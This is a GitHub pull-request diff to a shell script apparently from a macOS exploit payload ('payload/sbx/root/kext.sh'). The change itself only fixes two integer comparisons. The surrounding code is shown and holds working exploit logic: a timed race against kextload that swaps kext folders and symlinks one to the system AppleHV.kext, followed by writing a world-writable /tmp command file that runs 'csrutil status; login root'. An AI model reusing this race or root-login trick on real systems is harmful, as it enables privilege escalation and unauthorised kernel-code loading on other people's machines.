Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions payload/sbx/root/kext.sh
Original file line number Diff line number Diff line change
Expand Up @@ -59,12 +59,12 @@ killall -CONT kextload

for i in {1..100}; do
sleep 0.2
if [ $i == 15 ]; then
if [ $i -eq 15 ]; then
mv C.kext D.kext
ln -sfh /System/Library/Extensions/AppleHV.kext C.kext
# rm D.kext/Contents/MacOS/AppleHV
fi
if [ $i == 34 ]; then
if [ $i -eq 34 ]; then
rm -rf C.kext
mv D.kext C.kext
# cp -rf B.kext/A.kext/Contents/MacOS C.kext/Contents
Expand All @@ -76,4 +76,4 @@ for i in {1..100}; do
done

echo 'csrutil status; login root' > /tmp/sayhi.command
chmod 0777 /tmp/sayhi.command
chmod 0777 /tmp/sayhi.command